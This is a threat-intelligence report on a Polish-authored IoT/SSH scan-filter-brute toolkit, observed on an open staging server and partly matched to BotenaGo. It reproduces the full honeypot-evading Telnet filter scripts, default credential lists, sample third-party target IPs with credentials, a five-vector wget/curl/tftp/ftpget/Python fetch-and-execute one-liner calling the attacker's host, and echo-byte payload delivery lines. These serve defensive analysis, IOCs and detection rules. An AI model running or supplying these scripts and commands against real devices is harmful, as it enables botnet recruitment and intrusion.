GENZAI Toolkit — an open-directory staging server, watched from the outside
A self-branded Polish-authored scan/filter/SSH-brute toolkit, tracked build-by-build for five days via passive open-directory re-crawling of the operator's own staging server
Published 2026-07-21. Updated same day: VirusTotal results landed for all submitted binaries — see Malware analysis.
Executive summary
Most of what we know about this operator didn't come from watching them attack us. It came from watching them build. After a two-day burst of live sessions against our fleet, the operator went quiet on our sensors — but the staging server they'd pointed us at kept evolving for five more days, and our infrastructure kept quietly checking back on it. We watched a bare loader grow into a full scan-brute-load toolkit, then watched it get cleaned up within hours of finishing.
141.253.107.23, Oracle Cloud) logged into our fleet 22 times across three sensors, running a classic five-vector Mirai-style downloader (wget/curl/tftp/ftpget/Python) to fetch a small multi-arch loader, plus a separate technique that reconstructs a binary entirely from hundreds of echo -ne shell-escape commands rather than any network fetch. The download URL pointed at an open directory on the same host, and our infrastructure kept passively re-checking that origin on its normal ~12–24 hour cadence — not new attacker sessions against our sensors, just our own automated open-directory monitoring watching a previously-seen origin. Over the following five days that directory grew from an 8-file multi-arch loader set into a 10-file scan/filter/brute/load toolkit, captured intact on 2026-07-20, then shrank back down to 2 files roughly six hours later — the operator cleaning up after themselves.
The toolkit itself splits into three layers we could actually read: two Polish-commented Bash scripts that scan for and filter real (non-honeypot) Telnet devices, one unstripped C binary (telnetbruter.c, built with GCC 11.4.0 on Ubuntu 22.04) that brute-forces SSH despite its name, and a set of stripped Go binaries we couldn't read statically. Sandbox detonation of the Go-based loader binary, run twice, resolved that: it execves with zero arguments and exits — it's built to consume the credential-list output of the filter scripts, not to run standalone. All seven distinct toolkit binaries were unknown to VirusTotal at time of capture; we submitted them for scanning as part of this investigation, and results landed shortly after this report first went live — one of the five Go binaries, multi, turned out to match a real, publicly-documented family: BotenaGo. See Malware analysis.
Threat actor profile
No named threat actor was found for this operator specifically — their Bash filtering scripts, C brute-forcer, and staging habits don't match any public write-up or leak we could find. One component of their toolkit is a known quantity, though: the multi binary matches BotenaGo, a five-year-old public Golang IoT botnet whose source leaked to GitHub in 2021 (see Malware analysis). The operator has not been personally attributed.
multi) is very plausibly built from leaked BotenaGo source rather than written from scratch. The Go pieces are stripped and gave us nothing readable statically beyond that VT match; sandbox detonation showed the flagship loader binary does nothing without a properly-formatted target list as input — consistent with a modular pipeline built to be driven by the filter scripts' own output format, not a polished single-command-and-go product. The operator explicitly filters out known honeypot banners (cowrie, kippo, dionaea, honeyd — named literally in the script) before handing targets to the brute-forcer, showing real awareness of honeypot detection, but the toolkit still landed on our sensors, meaning that filter isn't airtight.
| Attribute | Assessment | Confidence |
|---|---|---|
| Motivation | IoT/Linux botnet recruitment — mass Telnet scanning, honeypot-aware filtering, SSH/Telnet credential brute-forcing, multi-arch payload staging. No DDoS command-and-control or crypto-mining behavior observed in what we captured | HIGH |
| Sophistication | Intermediate — real honeypot-awareness and a working modular scan→filter→brute→load pipeline, but the flagship loader does nothing without externally-supplied input, and the toolkit's own staging server was left in an unauthenticated open-directory configuration for days | HIGH |
| Attribution | Operator unattributed; script comments are in Polish. One toolkit component (multi) matches the publicly-documented BotenaGo family — the wrapper tooling and operator identity remain unmatched to any named actor or public research |
MED |
| Target profile | Opportunistic — mass Telnet/SSH scanning against consumer/SOHO router and IoT vendor banners (TP-Link, D-Link, Netgear, MikroTik, Ubiquiti, Huawei, Cisco, Zyxel, ASUS, Tenda, TOTOLINK), with a broader default-credential list also covering Oracle/PostgreSQL/MySQL/Tomcat/FTP services | HIGH |
| Operational tempo | Two-day live session burst against our fleet (2026-07-13 to 2026-07-15), followed by five days of unattended staging-server activity on the operator's own infrastructure, observed passively — not further direct contact with our sensors | HIGH |
ip:port user:pass input format the loader expects is the documented public Mirai loader convention — that part of the design is well-known. Our VT submissions finished scanning within about 20 minutes of upload: six of the seven binaries still show no named-family match, but multi does — it's flagged as BotenaGo, a public Golang IoT botnet whose source leaked to GitHub in 2021. So the honest picture is mixed: the wrapper (filter scripts, brute-forcer, staging infrastructure) still doesn't match any published leak or catalogued campaign we could find, but at least one payload component is built on — or copied from — known public malware, not written from scratch.
Infrastructure analysis
g.mips / g.amd64g.* build set + build.shbot.arm / bot.mips onlyLive session activity (2026-07-13 to 2026-07-15)
| Sensor | Successful Logins | Interactive Commands | First Contact | Last Contact |
|---|---|---|---|---|
| Sensor A | 13 | 928 | 2026-07-13 19:59:48 UTC | 2026-07-15 20:52:37 UTC |
| Sensor B | 8 | 755 | 2026-07-14 19:51:49 UTC | 2026-07-15 20:52:39 UTC |
| Sensor C | 1 | 8 | 2026-07-15 14:16:18 UTC | 2026-07-15 14:16:20 UTC |
A fourth sensor recorded 4 additional interactive commands from the same source outside a bracketed login session. All command traffic after 2026-07-15 20:52 UTC in this report comes from our own infrastructure passively re-checking the previously-observed origin, not new attacker sessions.
Open-directory staging server
http://141.253.107.23/g.mips, then http://141.253.107.23:8080/g.amd64) pointed at a directory listing with no authentication. Our fleet's open-directory hunter — a background process that re-checks previously-discovered file-serving origins on a periodic cadence — kept polling it long after the live attacker sessions ended. Port 8080 identifies itself as SimpleHTTP/0.6 Python/3.10.12 (Python's built-in http.server module — the operator ran python3 -m http.server 8080 as their staging server). Port 80 on the same host runs a separate Apache/2.4.52 (Ubuntu) instance that returns a non-listing response at the root path — unrelated or unused infrastructure on the same box.
| Probe Time (UTC) | Items Listed | Notes |
|---|---|---|
| 2026-07-15 20:46 | — | Body too small to classify as a listing yet |
| 2026-07-16 20:50 | 8 | Multi-arch g.* loader set (amd64/aarch64/armv7l/i686/mips/mips64/mipsel/x86_64) + build.sh |
| 2026-07-17 02:51 | 8 | Unchanged (same body hash) |
| 2026-07-18 02:53 / 08:56 | 6 | Set shrinks; snapshot unchanged between the two probes |
| 2026-07-19 08:58 / 15:03 | 2 | bot.arm / bot.mips only |
| 2026-07-20 15:08 | 10 | Full scan/filter/brute/load toolkit appears intact — captured and analyzed below |
| 2026-07-20 21:08 | 2 | Cleaned up roughly 6 hours after the full toolkit was observed |
This item-count timeline comes directly from our open-directory monitoring's stored snapshots (body hash + parsed item count per probe), not from re-deriving file lists after the fact — each row is a distinct recorded check.
Reputation
| Attribute | Value |
|---|---|
| IP | 141.253.107.23 |
| ASN | 31898 — Oracle Corporation |
| RIPE allocation | Oracle Svenska AB, netname SE-ORACLE, registered Sweden |
| VT geo-IP | France |
| VT detections | 2 malicious + 2 suspicious / 91 |
| VT reputation score | 0 |
| VT last analysis | 2026-07-19 (checked live 2026-07-21) |
Oracle Cloud Infrastructure — a mainstream cloud provider whose free/low-cost compute tier is a common cheap staging point for this kind of short-lived scan-and-build infrastructure, not a bulletproof host or known-malicious ASN in its own right.
Malware analysis
Ten files made up the toolkit captured on 2026-07-20. They split cleanly into three layers by how much we could actually read.
Layer 1 — filtering scripts (Bash, Polish-language comments)
Two scripts, both reading a raw mass-scan file (scan.txt) of Telnet port 23 hits and writing a filtered target list. Captured in full via our string-extraction pipeline — this is the complete file content, not an excerpt:
# filter.sh — captured in full (originally szybki_filter.sh, "fast filter")
#!/bin/bash
# szybki_filter.sh
echo "[*] Filtruje 37,553 IP..."
> telnet_real.txt
> loader_ready.txt
while read IP; do
# Szybki test - czy port otwarty
if ! timeout 2 nc -z $IP 23 2>/dev/null; then
continue
fi
# Sprawdź banner - odrzuć honeypoty
banner=$(timeout 2 telnet $IP 23 2>&1 | head -n 1)
# Tylko prawdziwe marki
if echo "$banner" | grep -qi "tp-link\|d-link\|netgear\|linksys\|mikrotik\|ubiquiti\|dd-wrt\|openwrt\|huawei\|cisco\|zyxel\|asus\|tenda\|totolink\|broadband\|router\|switch\|arm\|mips\|linux"; then
echo "$IP" >> telnet_real.txt
echo "[+] REAL: $IP"
# Przygotuj dla loadera z różnymi hasłami
echo "$IP:23 root:root" >> loader_ready.txt
echo "$IP:23 admin:admin" >> loader_ready.txt
echo "$IP:23 root:password" >> loader_ready.txt
echo "$IP:23 admin:password" >> loader_ready.txt
echo "$IP:23 root:123456" >> loader_ready.txt
echo "$IP:23 admin:123456" >> loader_ready.txt
fi
done < scan.txt
echo ""
echo "[+] Prawdziwe telnet: $(wc -l < telnet_real.txt)"
echo "[+] Entries dla loadera: $(wc -l < loader_ready.txt)"
# f.sh — captured in full (originally f_loose.sh, "loose filter")
#!/bin/bash
# f_loose.sh
echo "[*] Filtrowanie (luźniejsze)..."
> telnet_real.txt
while read IP; do
banner=$(timeout 2 telnet $IP 23 2>&1 | head -n 1)
# TYLKO ODRZUĆ OCZYWISTE HONEYPOTY
if echo "$banner" | grep -qi "honeypot\|honeyd\|cowrie\|kippo\|dionaea"; then
continue
fi
# ZACHOWAJ WSZYSTKO INNE
if echo "$banner" | grep -qi "login\|username\|password\|#\|$"; then
echo "$IP" >> telnet_real.txt
echo "[+] $IP"
fi
done < scan.txt
echo "[+] Znaleziono: $(wc -l < telnet_real.txt)"
f.sh rejects any Telnet banner matching honeypot|honeyd|cowrie|kippo|dionaea before a target is ever handed to the brute-forcer. This operator is deliberately filtering against the honeypot software family we and many other defenders run — which is exactly why this toolkit's presence on our sensor is worth noting: whatever banner heuristic they're relying on didn't catch us.
active_telnet, the actual output file staged alongside the scripts, is a live loader_ready.txt-shaped credential list: 860 lines covering 26 distinct target IPs and 5 credential pairs (root:root, root:admin, root:password, root:123456, root:toor). We're not publishing the full list — these are live scan targets, not our own infrastructure — but a representative excerpt of the format:
90.244.227.18:23 root:root
37.84.103.167:23 root:root
209.205.174.18:23 root:password
209.205.174.18:23 root:admin
61.191.219.189:23 root:toor
Layer 2 — the brute-forcer (C, unstripped)
Two of the ten files (bruter and sshbrute) are byte-identical builds of the same source, and this is the one binary in the toolkit that wasn't stripped — full symbol table and debug strings intact:
GCC: (Ubuntu 11.4.0-1ubuntu1~22.04.3) 11.4.0
telnetbruter.c
Usage: %s <timeout> <list> <outputfile>
Example: %s 5 targets.txt results.txt
Failed to open list: %s
ssh %s@%s 'echo genzaitopkasuko'
[32m[SUCCESS][0m %s:22 %s:%s
[33m[INFO][0m Testing SSH (port 22)
[33m[INFO][0m Using %d threads
Symbols: main, brute, brute_thread, try_login_ssh, max_threads, combos, Timeout
Embedded credential list: ~130 pairs — root/admin/user/guest/demo/test plus
oracle/postgres/mysql/tomcat/ftp service accounts
Despite the filename, this brute-forces SSH (port 22), not Telnet — it shells out to the system ssh client per candidate and checks for the literal string genzaitopkasuko in the response as its success marker, rather than parsing SSH auth results directly. Multi-threaded (pthread_create, a configurable max_threads). The credential set is broader than the IoT-router focus of the filter scripts, also covering common database and application-server default logins.
Layer 3 — the loader/scanner binaries (Go, stripped)
multi is flagged by 13 of 64 engines as BotenaGo (also cross-labeled Hajime by a couple of engines, which is AV-vendor naming noise — BotenaGo is Hajime-unrelated), a real, publicly-documented Golang IoT botnet AT&T Alien Labs first wrote up in November 2021 — a multi-exploit router/IoT infector (30+ embedded exploits) whose source code was later leaked to GitHub. That contradicts this report's earlier framing of the whole toolkit as unmatched in OSINT — the wrapper tooling (filter scripts, C bruter, operator's staging habits) is still unattributed, but the multi binary itself is very plausibly built from leaked BotenaGo source rather than written from scratch. See details updated below.
| Staged Filename | Size | VT Detections | Notes |
|---|---|---|---|
loader | 5.9 MB | 1 / 64 | Generic ML heuristic only (Microsoft Wacatac) — no named family. Detonated, see below |
multi | 3.5 MB | 13 / 64 | BotenaGo — named by Avast/AVG/ESET/Kaspersky/Avira/huorong and others. See callout above |
genzai-loader | 3.4 MB | 1 / 63 | Generic ML heuristic only — no named family |
telnetbruter (decoy name — not the real bruter) | 3.3 MB | 1 / 64 | Generic ML heuristic only — no named family |
scanner | 3.3 MB | 2 / 65 | huorong flags Exploit/Linux.CVE-2017-17215.a — the Huawei HG532 router RCE — suggesting this binary embeds that specific exploit, consistent with a BotenaGo-style multi-exploit scanner |
bruter | 26.2 KB | 1 / 64 | Generic ML heuristic only — no named family |
sshbrute | 22.1 KB | 2 / 64 | Generic ML heuristic + SentinelOne static-AI "Suspicious ELF" — no named family |
The five multi-megabyte binaries (loader, multi, genzai-loader, the decoy-named telnetbruter, and scanner) are Go-compiled and symbol-stripped. String extraction on all five returned Go runtime internals (garbage-collector symbols like scanAlloc/stackScan/heapScan, standard-library package names) but no application-level strings — no readable usage text, no embedded C2 host, no config. That's consistent with a stripped static Go build from source (leaked or otherwise) rather than a further deliberate obfuscation pass. All seven binaries were unknown to VirusTotal at time of capture — first-seen samples, confirming they weren't previously catalogued by that specific corpus even though the multi binary's underlying code (BotenaGo) is a known, five-year-old public family. Six of the seven carry only generic ML/heuristic hits with no named-family agreement across engines — genuinely unmatched, or simply undetected by static analysis; VT alone can't distinguish those two.
Sandbox detonation
We detonated the flagship loader binary twice — once automatically on first capture, once manually re-triggered roughly 8h49m later to confirm the result wasn't a fluke. Both runs came back identical.
execve("/root/analyzed_bin") with an empty argument list, then a clean exit. This isn't evasion; it's a binary built to consume the filter scripts' loader_ready.txt-shaped output as an argument or stdin stream, not to run standalone. tria.ge's own automated sandbox reached the same shallow result independently — score 1/10, tags ["linux"], zero behavioral signatures.
| Metric | Run 1 (auto, 2026-07-20 15:26 UTC) | Run 2 (manual re-run, 2026-07-21 00:15 UTC) |
|---|---|---|
| boot / login / exec | true / true / true | |
| Exit code / kind | 0 / exited | |
| Runtime | 300 seconds (full observation window, no early exit) | |
| pcap captured | 2,800 bytes | 2,792 bytes |
| DNS queries | 0 | |
| C2 endpoints | None | |
| strace execve argv | /root/analyzed_bin (no arguments) | |
| strace connects / file_ops / signals | 0 / 0 / 0 | |
We did not attempt to run any toolkit binary against the live target list captured in active_telnet — doing so would mean actively attacking third-party devices from our own sandbox infrastructure, which our sandbox's WARP egress routing and abuse-response policy exist specifically to prevent. Understanding the pipeline's shape doesn't require executing it against real targets.
Observed TTPs — MITRE ATT&CK
echo -ne hex-escape commands instead of a network fetch — see Delivery techniquesh/bash/ash/busybox sh availability before payload deliveryActivity timeline
141.253.107.23 logs into Sensor A.echo -ne hex-escape commands rather than a network fetch.wget/curl/tftp/ftpget/Python) fetches g.mips from 141.253.107.23, repeated against Sensors A and C.g.amd64 — first sighting of the open-directory staging server.g.* loader build set plus build.sh.bot.arm, bot.mips.loader binary; exits cleanly with zero observed activity.loader binary, to confirm the first result wasn't a fluke — identical zero-activity outcome.Delivery technique
Five-vector fetcher one-liner
Standard Mirai-lineage shape — tries five different fetch mechanisms in sequence so the loader survives a target missing any single tool:
(cd /tmp || cd /var/run || cd /mnt || cd /root || cd /dev/shm; wget -q http://141.253.107.23/g.mips -O g; chmod 777 g; ./g 141.253.107.23:6666)&
(cd /tmp || cd /var/run || cd /mnt || cd /root || cd /dev/shm; curl -s -O http://141.253.107.23/g.mips; chmod 777 g.mips; ./g.mips 141.253.107.23:6666)&
(cd /tmp || cd /var/run || cd /mnt || cd /root || cd /dev/shm; tftp -g -r g.mips -l g 141.253.107.23; chmod 777 g; ./g 141.253.107.23:6666)&
(cd /tmp || cd /var/run || cd /mnt || cd /root || cd /dev/shm; ftpget -v -u anonymous -p anonymous 141.253.107.23 g.mips g; chmod 777 g; ./g 141.253.107.23:6666)&
echo 'import urllib.request; import os; os.chdir("/tmp"); urllib.request.urlretrieve("http://141.253.107.23/g.mips", "g"); os.chmod("g", 0o777); os.system("./g 141.253.107.23:6666 &");' > /tmp/.py; python3 /tmp/.py &
Echo-byte binary reconstruction
On a separate session the day before, the same source wrote a binary directly to disk using hundreds of individual echo -ne commands, each emitting a chunk of raw hex-escaped machine code — a technique that never triggers an outbound HTTP/FTP/TFTP fetch at all, since the payload arrives entirely inside the interactive shell stream. We did not reconstruct or execute the resulting file as part of this investigation; the pattern itself (representative excerpt, not full):
echo -ne '\x00\x00\x00\x00\x49\x89\x40\x40\x49\x89\x40\x48\x48\x89\x44\x24\x40...' >> /tmp/payload
echo -ne '\x00\x00\x00\x0d\x00\x00\x00\x48\x8d\x35\xdb\x39\x11\x00\x48\x89\xb4...' >> /tmp/payload
# ... repeated across several hundred lines
This is a legitimate evasion technique worth flagging to defenders independent of this specific campaign: logging that only captures network-fetch indicators (outbound wget/curl/tftp connections) will miss a payload delivered this way entirely — the only signal is the shell command stream itself.
Indicators of compromise
Network IOCs
http.server open directory. Oracle Cloud, ASN 31898http://141.253.107.23:8080/g.amd64
telnetbruter.c binaryFile IOCs
| SHA256 | Staged Filename | Type | VT Status |
|---|---|---|---|
2f53f428f0e9392f5d4c2984a6bc5a5af97eed04e9394b0c83b9b95b36c1587f | loader | ELF 64-bit, Go, stripped | 1 / 64 |
82b4df5af8c2a14550e38506118802fb3b416ae08e8462dc5125803c01538e05 | multi | ELF 64-bit, Go, stripped | 13 / 64 — BotenaGo |
294b084afc7908b8efd665c0d0f9f16e88299bcf540adb1122ea7844f36830f4 | genzai-loader | ELF 64-bit, Go, stripped | 1 / 63 |
d860309cc7cc690be03217be5cd8d03f65b78b610a7bab73a7b0d70fac2e230b | telnetbruter (decoy name) | ELF 64-bit, Go, stripped | 1 / 64 |
2369050a268cafa5a8498184fa05c24b1268b3e98807586e3d35d4dfb21008de | scanner | ELF 64-bit, Go, stripped | 2 / 65 — CVE-2017-17215 |
fc5fd617e766592be79297194a6941d389b8f4936ff1200087296594717b98d5 | bruter | ELF 64-bit, C, unstripped | 1 / 64 |
b013f885892451026f52ffa189bc43a8ecd1fa2f4bc53693f2179c1d09a3aba7 | sshbrute | ELF 64-bit, C, unstripped (identical to bruter) | 2 / 64 |
db6863cda35dce1b7048f9fe10938a479aac8a232f4d1074cdd824a473dfe305 | filter.sh | Bash script | Not submitted — script, not a binary |
6d99a99bf688a9a61fc3e2b1f1adaeb7e2e96fc5fce2b0013f97cc545fc18a68 | f.sh | Bash script | Not submitted — script, not a binary |
The credential-list file (active_telnet, 26 target IPs) is withheld from this report — it names third-party scan targets rather than being a reusable indicator, and defenders gain nothing from the specific IPs that isn't already covered by the delivery/IOC patterns above.
Mitigations and detection
| Action | Priority | Detail |
|---|---|---|
| Disable default credentials on exposed Telnet/SSH services | HIGH | This toolkit's entire value proposition depends on default or weak credentials still being reachable — root:root/admin/password/123456/toor and equivalents. |
| Block staging infrastructure | MED | Block outbound traffic to 141.253.107.23. Treat as time-limited — this looks like short-lived cloud-hosted staging infrastructure, not a persistent bulletproof host. |
| Log the shell command stream, not just network fetches | MED | The echo-byte reconstruction technique in this campaign never triggers a network-fetch IOC. Detection needs to see the interactive command stream itself, not just outbound connection logs. |
| Monitor for unauthenticated directory listings on your own infrastructure | MED | Not applicable to this specific IOC, but the operational lesson generalizes: this entire toolkit was visible to us for five days because the operator's own staging server had no access control. |
Detection signatures
# Suricata/Snort — five-vector loader fetch (any of the five tools)
alert tcp $HOME_NET any -> 141.253.107.23 any (msg:"GENZAI toolkit loader fetch"; \
content:"g.mips"; nocase; flow:established,to_server; sid:9930001; rev:1;)
# Suricata/Snort — full toolkit staging path
alert http any any -> 141.253.107.23 8080 (msg:"GENZAI toolkit staging server access"; \
content:"/loader"; http_uri; flow:established,to_server; sid:9930002; rev:1;)
# Suricata — SSH brute success canary in outbound command execution logging
# (host-based detection, not network — the canary appears in local shell output)
# grep -r "genzaitopkasuko" /var/log/auth.log
Collection methodology
All data in this report was collected organically by a distributed SSH/Telnet honeypot fleet deployed across multiple cloud providers and geographic regions. Fleet nodes also run an automated open-directory monitor that re-checks previously-observed file-serving origins on a periodic cadence — this is what surfaced the toolkit's build-out over five days without any further direct contact between the operator and our sensors.
The loader binary was detonated in an isolated sandbox environment with network egress routed through a residential-style VPN for realistic network conditions; no interaction with victim networks occurred beyond passive observation of traffic the sample itself generated. We did not execute any toolkit component against the live target list captured in the toolkit's own output files. VirusTotal file, IP, and domain lookups, and file submissions, were performed via the fleet's own investigation tooling.